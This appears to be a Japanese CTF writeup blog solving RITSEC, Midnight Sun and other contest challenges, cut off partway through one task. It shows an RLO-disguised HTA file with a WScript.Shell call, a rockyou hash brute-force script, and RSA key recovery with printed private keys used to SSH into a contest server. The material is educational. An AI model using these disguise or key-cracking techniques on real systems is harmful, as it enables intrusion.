RITSEC{R0TT1NGM@LC0D3}

Inception CTF: Dream 1 (Forensics)

Reality.7zを解凍すると、以下のファイルが展開される。

・Subconscious.txt
・VanChase.7z

Subconscious.txtにはこう書いてある。

Wait a minute, whose subconscious are we going into, exactly? {dnalmaerD}CESTIR

逆にすればフラグになる。

RITSEC{Dreamland}

Inception CTF: Dream 2 (Forensics)

Dream 1の続き。VanChase.7zをパスワード「Dreamland」で解凍すると、以下のファイルが展開される。

・Kicks.ps1
・TheHotel.7z

Kicks.ps1の内容は以下の通り。

set-alias laylow "$env:ProgramFiles\7-Zip\7z.exe"
$7zf = "TheHotel.7z"
$7zp = "" # <---- Enter Password inbetween the Double Qoutes
$7zo = "-aoa"
laylow x $7zf "-p$7zp" $7zo
Start-Sleep -s 3
New-Item -Path $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\ -Name TheHotel -ItemType "directory"
Start-Sleep -s 3
Move-Item -Path $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\ThePointMan.txt -Destination $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\TheHotel\ThePointMan.txt
Move-Item -Path $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\? -Destination $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\TheHotel\?
Move-Item -Path $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\SnowFortress.7z -Destination $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\TheHotel\SnowFortress.7z
Start-Sleep -s 3
cd $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\TheHotel\ | cmd.exe --% /c type ? > ThePointMan.txt:?
Remove-Item -Path $env:userprofile\Desktop\InceptionCTF\Reality\VanChase\TheHotel\?

特にパスワードに関する情報はなさそう。

...\Desktop\InceptionCTF\Reality\VanChase>dir /AH
 ドライブ C のボリューム ラベルは S3A8244D001 です
 ボリューム シリアル番号は 50D2-38C8 です

 ...\Desktop\InceptionCTF\Reality\VanChase のディレクトリ

2021/02/25  02:42               137 Kidnap.txt
               1 個のファイル                 137 バイト
               0 個のディレクトリ  311,802,327,040 バイトの空き領域

隠しファイルのKidnap.txtがある。

...\Desktop\InceptionCTF\Reality\VanChase>type Kidnap.txt
An idea is like a virus, resilient, highly contagious.
52 49 54 53 45 43 7b 57 61 74 65 72 55 6e 64 65 72 54 68 65 42 72 69 64 67 65 7d

この16進数をASCIIコードとしてデコードする。

$ echo "52 49 54 53 45 43 7b 57 61 74 65 72 55 6e 64 65 72 54 68 65 42 72 69 64 67 65 7d" | tr -d " " | xxd -r -p
RITSEC{WaterUnderTheBridge}
RITSEC{WaterUnderTheBridge}

Inception CTF: Dream 3 (Forensics)

Dream 2の続き。TheHotel.7zをパスワード「WaterUnderTheBridge」で解凍すると、以下のファイルが展開される。

・(空ファイル名)
・SnowFortress.7z
・ThePointMan.txt

(空ファイル名)をファイル名を適当につけて、内容を見てみる。

You mean, a dream within a dream? NTIgNDkgNTQgNTMgNDUgNDMgN2IgNDYgNDAgMjEgMjEgNjkgNmUgNjcgNDUgNmMgNjUgNzYgNDAgNzQgNmYgNzIgN2Q=
$ echo NTIgNDkgNTQgNTMgNDUgNDMgN2IgNDYgNDAgMjEgMjEgNjkgNmUgNjcgNDUgNmMgNjUgNzYgNDAgNzQgNmYgNzIgN2Q= | base64 -d | tr -d " " | xxd -r -p
RITSEC{F@!!ingElev@tor}
RITSEC{F@!!ingElev@tor}

InceptionCTF: Dream 4 (STEGO)

Dream 3の続き。SnowFortress.7zをパスワード「F@!!ingElev@tor」で解凍すると、以下のファイルが展開される。

・Limbo.7z
・PasswordPath.exe

PasswordPath.exeはファイル名にRLOが入っており、左からの順序にするとPasswordP exe.hta。ただし、ファイルの中身はexeになっている。このファイルの最後の方にscriptがあるのが見つかった。

<script language="javascript">document.write(unescape('3c%68%74%6d%6c%3e%0a%3c%62%6f%64%79%3e%0a%0a%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%0a%3c%68%74%6d%6c%3e%0a%3c%68%65%61%64%3e%0a%20%20%20%20%3c%74%69%74%6c%65%3e%4e%6f%6e%2c%20%6a%65%20%6e%65%20%72%65%67%72%65%74%74%65%20%72%69%65%6e%3c%2f%74%69%74%6c%65%3e%0a%3c%48%54%41%3a%41%50%50%4c%49%43%41%54%49%4f%4e%0a%20%20%41%50%50%4c%49%43%41%54%49%4f%4e%4e%41%4d%45%3d%22%4e%6f%6e%2c%20%6a%65%20%6e%65%20%72%65%67%72%65%74%74%65%20%72%69%65%6e%22%0a%20%20%49%44%3d%22%49%6e%63%65%70%74%69%6f%6e%22%0a%20%20%56%45%52%53%49%4f%4e%3d%22%31%2e%30%22%0a%20%20%53%43%52%4f%4c%4c%3d%22%6e%6f%22%2f%3e%0a%20%0a%3c%73%74%79%6c%65%20%74%79%70%65%3d%22%74%65%78%74%2f%63%73%73%22%3e%0a%3c%2f%68%65%61%64%3e%0a%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%65%61%74%75%72%65%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%63%6f%6e%74%65%6e%74%0a%09%09%09%09%3c%2f%73%74%79%6c%65%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%68%31%20%69%64%3d%22%75%6e%61%76%61%69%6c%61%62%6c%65%22%20%63%6c%61%73%73%3d%22%6c%6f%61%64%69%6e%67%22%3e%42%75%69%6c%64%69%6e%67%20%44%72%65%61%6d%73%2e%2e%2e%2e%3c%2f%68%31%3e%0a%09%09%09%09%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%3e%0a%09%09%09%09%09%66%75%6e%63%74%69%6f%6e%20%52%75%6e%46%69%6c%65%28%29%20%7b%0a%09%09%09%09%09%57%73%68%53%68%65%6c%6c%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%57%53%63%72%69%70%74%2e%53%68%65%6c%6c%22%29%3b%0a%09%09%09%09%09%57%73%68%53%68%65%6c%6c%2e%52%75%6e%28%22%6e%6f%74%65%70%61%64%20%25%55%53%45%52%50%52%4f%46%49%4c%45%25%2f%44%65%73%6b%74%6f%70%2f%49%6e%63%65%70%74%69%6f%6e%43%54%46%2f%52%65%61%6c%69%74%79%2f%56%61%6e%43%68%61%73%65%2f%54%68%65%48%6f%74%65%6c%2f%54%68%65%50%6f%69%6e%74%4d%61%6e%2e%74%78%74%22%2c%20%31%2c%20%66%61%6c%73%65%29%3b%0a%09%09%09%09%09%7d%0a%09%09%09%09%3c%2f%73%63%72%69%70%74%3e%0a%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0a%20%20%20%20%3c%2f%64%69%76%3e%0a%3c%62%6f%64%79%3e%0a%09%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%62%75%74%74%6f%6e%22%20%76%61%6c%75%65%3d%22%49%6d%70%6c%61%6e%74%20%49%6e%63%65%70%74%69%6f%6e%20%48%65%72%65%22%20%6f%6e%63%6c%69%63%6b%3d%22%52%75%6e%46%69%6c%65%28%29%3b%22%2f%3e%0a%09%3c%70%20%73%74%79%6c%65%3d%22%63%6f%6c%6f%72%3a%77%68%69%74%65%3b%22%3e%0a%2d%2e%2e%20%2e%2d%2e%20%2e%20%2e%2d%20%2d%2d%20%2e%2e%2e%0a%2e%2e%2d%2e%20%2e%20%2e%20%2e%2d%2e%2e%0a%2e%2d%2e%20%2e%20%2e%2d%20%2e%2d%2e%2e%0a%2e%2d%2d%20%2e%2e%2e%2e%20%2e%20%2d%2e%0a%2e%2d%2d%20%2e%20%2e%2d%2d%2d%2d%2e%20%2e%2d%2e%20%2e%0a%2e%2e%20%2d%2e%0a%2d%20%2e%2e%2e%2e%20%2e%20%2d%2d%20%2e%2d%2e%2d%2e%2d%0a%2e%2e%20%2d%20%2e%2d%2d%2d%2d%2e%20%2e%2e%2e%0a%2d%2d%2d%20%2d%2e%20%2e%2d%2e%2e%20%2d%2e%2d%2d%0a%2e%2d%2d%20%2e%2e%2e%2e%20%2e%20%2d%2e%0a%2e%2d%2d%20%2e%0a%2e%2d%2d%20%2e%2d%20%2d%2e%2d%20%2e%0a%2e%2e%2d%20%2e%2d%2d%2e%0a%2d%20%2e%2e%2e%2e%20%2e%2d%20%2d%0a%2e%2d%2d%20%2e%0a%2e%2d%2e%20%2e%20%2e%2d%20%2e%2d%2e%2e%20%2e%2e%20%2d%2d%2e%2e%20%2e%0a%2e%2e%2e%20%2d%2d%2d%20%2d%2d%20%2e%20%2d%20%2e%2e%2e%2e%20%2e%2e%20%2d%2e%20%2d%2d%2e%0a%2e%2d%2d%20%2e%2d%20%2e%2e%2e%0a%2e%2d%20%2d%2e%2d%2e%20%2d%20%2e%2e%2d%20%2e%2d%20%2e%2d%2e%2e%20%2e%2d%2e%2e%20%2d%2e%2d%2d%0a%2e%2e%2e%20%2d%20%2e%2d%2e%20%2e%2d%20%2d%2e%20%2d%2d%2e%20%2e%20%2e%2d%2e%2d%2e%2d%0a%2e%2d%2e%20%2e%2e%20%2d%20%2e%2e%2e%20%2e%20%2d%2e%2d%2e%20%2d%2e%2e%2e%2d%20%2d%2e%2e%20%2e%2e%20%2e%2e%2e%2d%20%2e%20%2e%2d%2e%20%2e%2e%2e%20%2e%2e%20%2d%2d%2d%20%2d%2e%20%0a%3c%2f%70%3e%0a%3c%2f%62%6f%64%79%3e%0a%3c%2f%62%6f%64%79%3e%0a%20%20%3c%2f%68%74%6d%6c%3e'));</script>

URLエンコード部分を先頭に%を付けて、デコードする。

<html>
<body>

<!DOCTYPE html>
<html>
<head>
    <title>Non, je ne regrette rien</title>
<HTA:APPLICATION
  APPLICATIONNAME="Non, je ne regrette rien"
  ID="Inception"
  VERSION="1.0"
  SCROLL="no"/>
 
<style type="text/css">
</head>
    <div id="feature">
            <div id="content
				</style>
                <h1 id="unavailable" class="loading">Building Dreams....</h1>
				<script type="text/javascript" language="javascript">
					function RunFile() {
					WshShell = new ActiveXObject("WScript.Shell");
					WshShell.Run("notepad %USERPROFILE%/Desktop/InceptionCTF/Reality/VanChase/TheHotel/ThePointMan.txt", 1, false);
					}
				</script>
        </div>
    </div>
<body>
	<input type="button" value="Implant Inception Here" onclick="RunFile();"/>
	<p style="color:white;">
-.. .-. . .- -- ...
..-. . . .-..
.-. . .- .-..
.-- .... . -.
.-- . .----. .-. .
.. -.
- .... . -- .-.-.-
.. - .----. ...
--- -. .-.. -.--
.-- .... . -.
.-- .
.-- .- -.- .
..- .--.
- .... .- -
.-- .
.-. . .- .-.. .. --.. .
... --- -- . - .... .. -. --.
.-- .- ...
.- -.-. - ..- .- .-.. .-.. -.--
... - .-. .- -. --. . .-.-.-
.-. .. - ... . -.-. -...- -.. .. ...- . .-. ... .. --- -. 
</p>
</body>
</body>
  </html>

モールス信号をデコードする。

DREAMS
FEEL
REAL
WHEN
WE'RE
IN
THEM.
IT'S
ONLY
WHEN
WE
WAKE
UP
THAT
WE
REALIZE
SOMETHING
WAS
ACTUALLY
STRANGE.
RITSEC=DIVERSION
RITSEC{DIVERSION}

InceptionCTF: Dream 5 (STEGO)

Dream 4の続き。Limbo.7zをパスワード「DIVERSION」で解凍すると、以下のファイルが展開される。

・Inception.jpg
$ strings Inception.jpg
JFIF
!1-1)+..0
385.7(-.7
++-+-+++-+--+++-2+--77-+++-+-+---+-7+7-+7+++++7+++
#23B
$4Db
!12AQ
"m<(
/#Wq
dn<?B>
/#FX
	At^C
Et^C
=,%8
,WY|
WfA-Fwm
h|2;
g[eJ
 	R'l
*sv)(j
RUDx/
FaJ"
ERcR,U
P@&v
;a=U
@HU"T
Ll%Hb
~	MN
ME{k)b
$md{G
wI=S=
f?nv/
mQ>[
]9xw
,HXjUgJ
6 UklUU0VDezUyODQ5MX0g	
}c$F
O{x3
^&<Z
F?iU
4gg$
*&gT
N!F"<
!(ua
%2SM4
A9Jr
em[fT
QbEp
+mBS
cUXuVMz
#joI
U&iY
%y-1u
$ echo UklUU0VDezUyODQ5MX0g | base64 -d
RITSEC{528491}
RITSEC{528491}

lorem ipsum (CRYPTO)

「Incompraehensibilis Conseruator.」で検索したら、Trithemius Ave Maria Cipher というのがあるのがわかった。https://www.dcode.fr/trithemius-ave-mariaで復号する。

RSTHISISTRITHEMIUS

しかし、"RS{THISISTRITHEMIUS}"はフラグとして通らない。case sensitiveらしいので、注意して色々見てみる。単語の頭文字が大文字かどうかで判断して、復号してみる。

Incompraehensibilis Conseruator.
Redemptor optimus
Iudex omnipotens
Sapientissimus omnipotens
Redemptor fabricator		
Iudex redemptor
Optimus magnus
Aeternus iudex
Auctor omnipotens.

問題文は上のようになっているので、それに対応するように大文字小文字を割り当てていく。

RSThIsIsTrItHeMiUs
RS{ThIsIsTrItHeMiUs}

RITSEC Hash (CRYPTO)

PDFに記載のアルゴリズムのハッシュをプログラムにし、rockyou.txtのワードでブルートフォースする。

def convert_unit(h, x, r):
    out = [-1] * 6

    cef = (h[2] ^ h[4]) & h[5]
    b5 = (h[1] >> 5) & 0xff
    d2 = (h[3] << 2) & 0xff

    out[0] = (cef + h[1] + d2 + x + r) & 0xff
    out[1] = h[0]
    out[2] = d2
    out[3] = b5
    out[4] = h[0] + h[5]
    out[5] = h[3]
    return out

def convert_rount_13(h, x):
    out = h
    for r in range(13):
        out = convert_unit(out, x, r)
    return out

def str_to_array(s):
    out = []
    for c in s:
        out.append(ord(c))
    return out

def array_to_hash(a):
    h = ''
    for e in a:
        h += hex(e)[2:].zfill(2)
    return h

def get_hash(s):
    h = str_to_array('RITSEC')
    codes = str_to_array(s)
    for code in codes:
        h = convert_rount_13(h, code)
    hash = array_to_hash(h)
    return hash

with open('dict/rockyou.txt', 'r') as f:
    words = f.read().split('\n')

for word in words:
    h = get_hash(word)
    if h == '435818055906':
        flag = 'RS{%s}' % word
        print flag
        break
RS{invaderzim}

Pragyan CTF 2021 参戦

この大会は2021/4/8 9:00(JST)~2021/4/10 9:00(JST)に開催されました。
今回もチームで参戦。結果は0点でスコアボードにも掲載されませんでした。
今回はチームとしても得点した問題は1問もなく、
あまり力を入れていなかったとは言え、1問くらいは解きたかった。。。

Midnight Sun CTF 2021 Quals Writeup

この大会は2021/4/10 2:00(JST)~2021/4/11 2:00(JST)に開催されました。
今回もチームで参戦。結果は361点で349チーム中97位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (sanity, ez-mode)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

midnight{2_c00l_4_iRC}

Backup - alice (crypto)

Aliceの公開鍵をPEM形式に変換し、内容を確認する。

$ ssh-keygen -f authorized_keys -e -m PKCS8 > alice.pub.pem
$ openssl rsa -pubin -text < alice.pub.pem
RSA Public-Key: (2048 bit)
Modulus:
    00:ef:f5:f6:00:0d:d4:23:63:b1:13:4a:2f:b9:38:
    3c:57:98:ed:9c:28:94:6e:e3:32:fb:b3:8c:86:1c:
    b3:17:57:29:30:dc:fe:cf:90:f3:98:27:5f:10:d1:
    06:76:9a:de:a1:69:c1:35:67:0d:76:52:68:9b:82:
    31:0d:57:81:8f:47:41:91:fb:f3:7f:35:9f:2d:d1:
    5b:62:d2:15:7e:46:3d:ce:42:28:f4:fd:6e:11:33:
    ea:61:4d:29:a7:03:d2:b3:e2:3d:b8:64:c3:67:40:
    03:25:ec:c6:8e:4a:31:d1:37:ed:53:13:8a:c4:4d:
    30:4c:a7:22:b2:95:8b:b4:d5:a1:9b:2d:bc:c1:04:
    27:16:f9:87:99:2e:10:32:60:5d:45:a0:bc:97:8d:
    21:31:ea:e7:03:14:d1:3e:b9:df:08:ad:05:ad:b3:
    87:79:d2:d5:85:1d:f8:9c:47:3b:a5:7e:c9:6e:a3:
    f0:f5:44:8b:5a:b0:30:f1:ea:bb:59:51:20:2a:5a:
    62:d6:c3:f5:ee:4e:6b:c4:e2:09:14:d4:7b:06:8b:
    d8:cc:9c:5a:c0:57:8b:32:fe:cf:b4:8d:6c:be:18:
    7f:fc:5f:b4:35:6e:07:f1:99:7f:47:7c:65:b7:aa:
    73:bf:29:ce:5e:16:a5:fa:8b:d4:71:9c:66:c2:fd:
    8c:f1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7/X2AA3UI2OxE0ovuTg8
V5jtnCiUbuMy+7OMhhyzF1cpMNz+z5DzmCdfENEGdpreoWnBNWcNdlJom4IxDVeB
j0dBkfvzfzWfLdFbYtIVfkY9zkIo9P1uETPqYU0ppwPSs+I9uGTDZ0ADJezGjkox
0TftUxOKxE0wTKcispWLtNWhmy28wQQnFvmHmS4QMmBdRaC8l40hMernAxTRPrnf
CK0FrbOHedLVhR34nEc7pX7JbqPw9USLWrAw8eq7WVEgKlpi1sP17k5rxOIJFNR7
BovYzJxawFeLMv7PtI1svhh//F+0NW4H8Zl/R3xlt6pzvynOXhal+ovUcZxmwv2M
8QIDAQAB
-----END PUBLIC KEY-----
n = 0x00eff5f6000dd42363b1134a2fb9383c5798ed9c28946ee332fbb38c861cb317572930dcfecf90f398275f10d106769adea169c135670d7652689b82310d57818f474191fbf37f359f2dd15b62d2157e463dce4228f4fd6e1133ea614d29a703d2b3e23db864c367400325ecc68e4a31d137ed53138ac44d304ca722b2958bb4d5a19b2dbcc1042716f987992e1032605d45a0bc978d2131eae70314d13eb9df08ad05adb38779d2d5851df89c473ba57ec96ea3f0f5448b5ab030f1eabb5951202a5a62d6c3f5ee4e6bc4e20914d47b068bd8cc9c5ac0578b32fecfb48d6cbe187ffc5fb4356e07f1997f477c65b7aa73bf29ce5e16a5fa8bd4719c66c2fd8cf1

いろいろやってみたがnを素因数分解できない。RsaCtfTool.pyを使うことにする。

$ RsaCtfTool.py --publickey alice.pub.pem --private

[*] Testing key alice.pub.pem.
[*] Performing fibonacci_gcd attack on alice.pub.pem.
100%|███████████████████████████████████| 9999/9999 [00:00<00:00, 14700.82it/s]
[*] Performing mersenne_primes attack on alice.pub.pem.
100%|██████████████████████████████████████████| 51/51 [00:09<00:00,  5.63it/s]
[*] Performing smallq attack on alice.pub.pem.
[*] Performing system_primes_gcd attack on alice.pub.pem.
100%|██████████████████████████████████| 2353/2353 [00:00<00:00, 113414.28it/s]
[*] Performing factordb attack on alice.pub.pem.
[*] Attack success with factordb method !

Results for alice.pub.pem:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA7/X2AA3UI2OxE0ovuTg8V5jtnCiUbuMy+7OMhhyzF1cpMNz+
z5DzmCdfENEGdpreoWnBNWcNdlJom4IxDVeBj0dBkfvzfzWfLdFbYtIVfkY9zkIo
9P1uETPqYU0ppwPSs+I9uGTDZ0ADJezGjkox0TftUxOKxE0wTKcispWLtNWhmy28
wQQnFvmHmS4QMmBdRaC8l40hMernAxTRPrnfCK0FrbOHedLVhR34nEc7pX7JbqPw
9USLWrAw8eq7WVEgKlpi1sP17k5rxOIJFNR7BovYzJxawFeLMv7PtI1svhh//F+0
NW4H8Zl/R3xlt6pzvynOXhal+ovUcZxmwv2M8QIDAQABAoIBAHk8BFCcq/xBRtqf
FaN3pQ0Ax7Oo0O2BPmXqnem4IEd/kuEMFnUaH+hUo/QkFybfMfHNM39elG+eTRmc
WloKRvvznU47RBeWKNkGOCyiRZept1o5FOZKEE0CtLz6Njwac17MxDAgQJUuwyhr
CxoipC63GeFqMybgdLGVk7M0WQRAHE7J9qR9J0jHSGiiDVGpEiI4EY0GgFBy7K6P
JOb97/Tbu/v8AoTtC49gl8YvOQMp6YtDoik4lbFkkKPdtpKnF3aWqYdBQCbMq8rh
16eD7mvKAN3K1Hi+LByiPOCZO2ExqXMiWBJsRVR/kr7HFpYBZvsgmMctTPxwAdel
B2TxIJECgYEA8+Y6U3uYRRt1Na6FVhZANNurtzFXKLEWpmEzybRjeTa2y3hluN2e
0PBEJsrK+G36xKNIA9jiergWcGZgypGAkIm34EHI2Is0ktjifySV6gn4/BUjjLHi
uAQjl/hXJpBkknluUeumLDfzKdsx5BV2GSLCBOgc7GzAYV2gRtxxCEUCgYEA+921
peoDPNommLEr2tMJPEA4dSaQa3LpEpRRtqjNFeCXo/xqQ1mBnavGFmQtLruiIqzv
GeC2eJ/8Po0FQ2+Xo+zh8GDtDETfNOB7IazrzOaU8dNQzLrdiOJXjYigSiJAh3TT
n5/icPwkWUFR/NvQAYoH3q2SlZyhtGGwKWE0yr0CgYB5lFGM3fZ4tIhH+zgyQqM8
9ifyCOF2wlgVFi03pflUKicS5HBop+kMJEkEwWBOWJyBuxch+9Jh9DQTUaV8NO3O
nygO3Rwefb32WbEGShmE8fWwy2TONLpcmouXrM7cxWus7GVG5t4N+tH3EnIbTWty
ejYXNhF89XUs0/wadrbNtQKBgFJH8enL81bT5bwIVU1dmCzIxijvekq/9YiOT8ue
hbFZ9/AorAZonUGHNmVmQKR9w9AUMuB/Wt05VsyQgWGweReicYV4BLj3XvwFQfSU
a0w7H/mIkWLwwSLQ3s1sDwFpAy+9aM1DDFTg6ncGMeSrYt692yhSCAs8ak9lgoli
Kj75AoGAMSQ4zf4uQkMjJR19EeWZ9748og6rfUFJCZap7mwQhBntBcMfa725MrXU
fyvS8xiiFAwDwEu964CxMAKo0+2r2fLDetdSBnkqWBPI0K0Vdjtd+ZfUX7Hbw31m
dqwk4Flpg9j+yvsPLg/iZJQfyslmtE3zlLGVBjmUU/pag5rYeQ8=
-----END RSA PRIVATE KEY-----

この秘密鍵をalice.pri.pemで保存し、この秘密鍵SSH接続する。

$ ssh -i alice.pri.pem alice@backup-01.play.midnightsunctf.se -p 2222
midnight{factorization_for_the_Win}
Connection to backup-01.play.midnightsunctf.se closed.
midnight{factorization_for_the_Win}

Backup - bob (crypto)

Bobの公開鍵をPEM形式に変換し、内容を確認する。

$ ssh-keygen -f authorized_keys -e -m PKCS8 > bob.pub.pem
$ openssl rsa -pubin -text < bob.pub.pem
RSA Public-Key: (2062 bit)
Modulus:
    23:6a:24:cd:cb:ce:cb:a5:21:04:a1:fc:e5:54:e0:
    d6:ed:7e:f9:e7:e8:f8:9c:b4:4c:3b:ac:a0:a6:00:
    78:2e:7d:b7:81:41:67:0c:e4:f7:99:ba:b8:32:f2:
    3d:5f:84:c2:62:c9:49:17:92:6c:27:64:b0:83:0c:
    c4:f2:f6:ac:14:de:e0:94:49:d6:01:90:0c:4b:52:
    df:09:13:c5:41:76:d0:e4:02:fe:4a:35:7e:14:e8:
    c7:3e:3c:fd:b7:d7:fc:1d:75:cd:7f:ff:4f:d7:22:
    db:c5:2f:cb:e6:af:d9:d4:69:d9:8f:1b:ab:f2:af:
    e7:da:85:a6:7e:46:87:76:22:9c:fc:c7:42:da:b5:
    21:cd:13:44:b8:55:10:d6:d8:57:09:3a:f8:0c:f5:
    d2:f2:38:5e:a2:bd:d0:8a:99:bc:79:df:10:eb:af:
    50:7c:02:3a:09:1e:70:86:cb:28:0b:ba:74:52:0c:
    e2:b7:51:25:5d:33:a9:90:ba:64:02:8e:35:56:30:
    49:49:66:c8:71:ac:a1:5f:52:dc:43:aa:b2:1e:3c:
    b7:55:1c:8e:c8:c4:f2:0d:62:93:f1:bd:3c:3e:82:
    22:18:68:dd:7f:f1:84:3f:61:b5:05:31:02:59:2e:
    57:0d:b1:5b:52:ee:e7:1f:06:45:5e:4a:1e:e0:4c:
    c6:1d:47
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIjaiTNy87LpSEEofzlVODW
7X755+j4nLRMO6ygpgB4Ln23gUFnDOT3mbq4MvI9X4TCYslJF5JsJ2SwgwzE8vas
FN7glEnWAZAMS1LfCRPFQXbQ5AL+SjV+FOjHPjz9t9f8HXXNf/9P1yLbxS/L5q/Z
1GnZjxur8q/n2oWmfkaHdiKc/MdC2rUhzRNEuFUQ1thXCTr4DPXS8jheor3Qipm8
ed8Q669QfAI6CR5whssoC7p0Ugzit1ElXTOpkLpkAo41VjBJSWbIcayhX1LcQ6qy
Hjy3VRyOyMTyDWKT8b08PoIiGGjdf/GEP2G1BTECWS5XDbFbUu7nHwZFXkoe4EzG
HUcCAwEAAQ==
-----END PUBLIC KEY-----
n = 0x236a24cdcbcecba52104a1fce554e0d6ed7ef9e7e8f89cb44c3baca0a600782e7db78141670ce4f799bab832f23d5f84c262c94917926c2764b0830cc4f2f6ac14dee09449d601900c4b52df0913c54176d0e402fe4a357e14e8c73e3cfdb7d7fc1d75cd7fff4fd722dbc52fcbe6afd9d469d98f1babf2afe7da85a67e468776229cfcc742dab521cd1344b85510d6d857093af80cf5d2f2385ea2bdd08a99bc79df10ebaf507c023a091e7086cb280bba74520ce2b751255d33a990ba64028e355630494966c871aca15f52dc43aab21e3cb7551c8ec8c4f20d6293f1bd3c3e82221868dd7ff1843f61b5053102592e570db15b52eee71f06455e4a1ee04cc61d47

factordbでnを素因数分解する。

p = 10007
q = 29278567313214299298882160411734497253413050726095610761154708479926412837784922502815489635727909981117053245989683404021035689083301611490468830124669195593762906999472271670387730789447922970768097925518497745917732257408283532737054315449338209247447451327736716098298102221953699800631324881072125510549508971624219232440439224157865945528138030978588303629427215068473628709454893538619201129318244857686405941320181871159304995082135023810854233131775340408430705353533249906163285499835567445260923862420154112806314008093442186072753077915409188185047310634088119883499661541132044083047749985190488744630609

秘密鍵を生成する。

$ rsatool.py -f PEM -o bob.pri.pem -p 10007 -q 29278567313214299298882160411734497253413050726095610761154708479926412837784922502815489635727909981117053245989683404021035689083301611490468830124669195593762906999472271670387730789447922970768097925518497745917732257408283532737054315449338209247447451327736716098298102221953699800631324881072125510549508971624219232440439224157865945528138030978588303629427215068473628709454893538619201129318244857686405941320181871159304995082135023810854233131775340408430705353533249906163285499835567445260923862420154112806314008093442186072753077915409188185047310634088119883499661541132044083047749985190488744630609
Using (p, q) to initialise RSA instance

n =
236a24cdcbcecba52104a1fce554e0d6ed7ef9e7e8f89cb44c3baca0a600782e7db78141670ce4f7
99bab832f23d5f84c262c94917926c2764b0830cc4f2f6ac14dee09449d601900c4b52df0913c541
76d0e402fe4a357e14e8c73e3cfdb7d7fc1d75cd7fff4fd722dbc52fcbe6afd9d469d98f1babf2af
e7da85a67e468776229cfcc742dab521cd1344b85510d6d857093af80cf5d2f2385ea2bdd08a99bc
79df10ebaf507c023a091e7086cb280bba74520ce2b751255d33a990ba64028e355630494966c871
aca15f52dc43aab21e3cb7551c8ec8c4f20d6293f1bd3c3e82221868dd7ff1843f61b5053102592e
570db15b52eee71f06455e4a1ee04cc61d47

e = 65537 (0x10001)

d =
f051652dc48c92c76eb93de1b13fdf6f5a17634a69c9be0737df6124801a3a368f63d7e974739305
4d789a62c23b47403f46ec01f69f4093709029313e35529ba200603eca639e161f7d0aadfb472205
42a563f06c6e60047fe6a81848d693322ca00196e06c4a9f5d217fb3df637572d2681ee7097afeb0
fad75a44b96c77db3c175b40df2d9684ab7f3953d5ead003c97937c9be3d2f3cac23e53b0217c152
64aacddcb28e6a59836c24b6101f73c78113b6bfdc087470d063835d106979d1c0cf65af654befd8
d9fa96e09b4808b588083d0949dc80747babaae515e05a9f9c7973637058d2bddfb6d205f1c9302b
f4279d1ea0880242e91857bb7a9815feb41

p = 10007 (0x2717)

q =
e7ee515888e2718fece17af1e31d5d3823c9eac3ba547d7652b9624704145e34b11e2469e2b4af7b
a19ed824481305509e79c0a2b0efc261ff3ee1cea69d80248db231b013ccfa66147fe1afa60c2875
088aa7bdda24d3424e746110869b131c03ed0356a57f9ffe6f954d473e5c732a8db890429b7c93a8
4d03f4cec2f2f7062e542f5bf035578ffa5a6cefe28d07b57af413f4905464d9a9724b4f168d9d9f
9a7763bc8c4df974efc8b3e8206aa098f0fdd3a9ce81bb03b0614082d63985d343f9f84e9fc12e86
86da4cdee0c1783699271912c414cad6c9e0cdfc4f3bd7bf2daa9e117c4032dd108b4b85f2b4cb14
5044cca3b2b6c982c1cb34ba4fab9951

Saving PEM as bob.pri.pem

この秘密鍵SSH接続する。

$ ssh -i bob.pri.pem bob@backup-01.play.midnightsunctf.se -p 2222
midnight{Turn_electricity_t0_h347}
Connection to backup-01.play.midnightsunctf.se closed.
midnight{Turn_electricity_t0_h347}

Backup - frank (crypto)

Frankの公開鍵をPEM形式に変換し、内容を確認する。

$ ssh-keygen -f authorized_keys -e -m PKCS8 > frank.pub.pem
$ openssl rsa -pubin -text < frank.pub.pem
RSA Public-Key: (4096 bit)
Modulus:
    00:bf:a2:46:a8:91:be:9d:2e:53:bc:f3:d9:2d:70:
    52:ae:03:32:db:bc:27:32:e4:89:76:4e:25:48:57:
    3c:e2:6d:ef:bd:15:f1:f6:5b:44:47:b5:0e:40:dd:
    a2:2f:8d:b6:4a:9d:e4:31:83:2f:44:88:df:94:db:
    c0:ce:a7:dc:81:5b:8c:c0:83:5d:54:ef:b5:6d:b8:
    5e:76:f1:6a:79:02:9c:30:37:c4:94:0f:96:0f:05:
    0b:2c:87:70:85:9b:a6:ca:aa:0f:8e:f4:5f:77:27:
    ef:f0:87:30:3c:40:62:fc:0b:61:18:ac:df:c1:a4:
    e5:12:24:a7:6c:d0:0c:fa:71:86:26:de:ca:84:47:
    e8:90:eb:84:43:6b:d2:b6:4e:b3:b9:81:f3:ff:8b:
    20:53:3b:27:4f:0f:46:4d:2d:bb:ec:3c:c3:64:e9:
    8c:ee:34:3f:a9:8d:11:b0:b4:7f:6f:c5:5e:60:d0:
